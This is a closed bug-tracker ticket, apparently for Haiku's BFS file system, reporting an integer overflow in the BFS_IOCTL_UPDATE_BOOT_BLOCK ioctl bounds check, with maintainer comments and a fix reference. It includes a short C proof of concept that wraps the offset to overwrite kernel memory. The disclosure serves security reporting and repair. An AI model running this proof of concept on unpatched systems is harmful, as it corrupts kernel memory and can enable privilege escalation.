Opened 8 years ago

Closed 7 years ago

#12943 closed bug (fixed)

BFS ioctl BFS_IOCTL_UPDATE_BOOT_BLOCK integer overflow leading to code execution

Reported by: thexyz Owned by: axeld
Priority: normal Milestone: Unscheduled
Component: File Systems/BFS Version: R1/Development
Keywords: Cc:
Blocked By: Blocking:
Platform: All

Description

In BFS ioctl BFS_IOCTL_UPDATE_BOOT_BLOCK implementation:

			if (update.offset < offsetof(disk_super_block, pad_to_block)
				|| update.length + update.offset > 512)
				return B_BAD_VALUE;

The check on "update.length + update.offset > 512" can overflow 32-bit int. In which case, it will happily memcpy() to an arbitrary memory address.

Sample code:

#include <stdio.h>
#include <fcntl.h>
#include <errno.h>

struct update_boot_block {
	unsigned offset;
	void *data;
	unsigned length;
};

int main() {
	int fd, ret;
	char data[0x1000] = {0};
	struct update_boot_block block;
	
	memset(data, 0x42, sizeof(data));
	block.offset = -0x1000;
	block.length = 0x1000;
	block.data = &data;
	fd = open("/boot/", O_RDONLY, 0);
	ret = ioctl(fd, 14204, &block, sizeof(block));
}

This will overwrite some kernel memory with 0x42.

(Is it even a good idea to let anyone update the boot block?)

Change History (2)

comment:1 by pulkomandy, 8 years ago

(Is it even a good idea to let anyone update the boot block?)

This is used by makebootable to make the system bootable. This can be removed if we implement getting the partition offset from the BIOS instead of hardcoding it inside the partition boot code.

comment:2 by axeld, 7 years ago

Resolution: fixed
Status: newclosed

Fixed in hrev50851.

Note: See TracTickets for help on using tickets.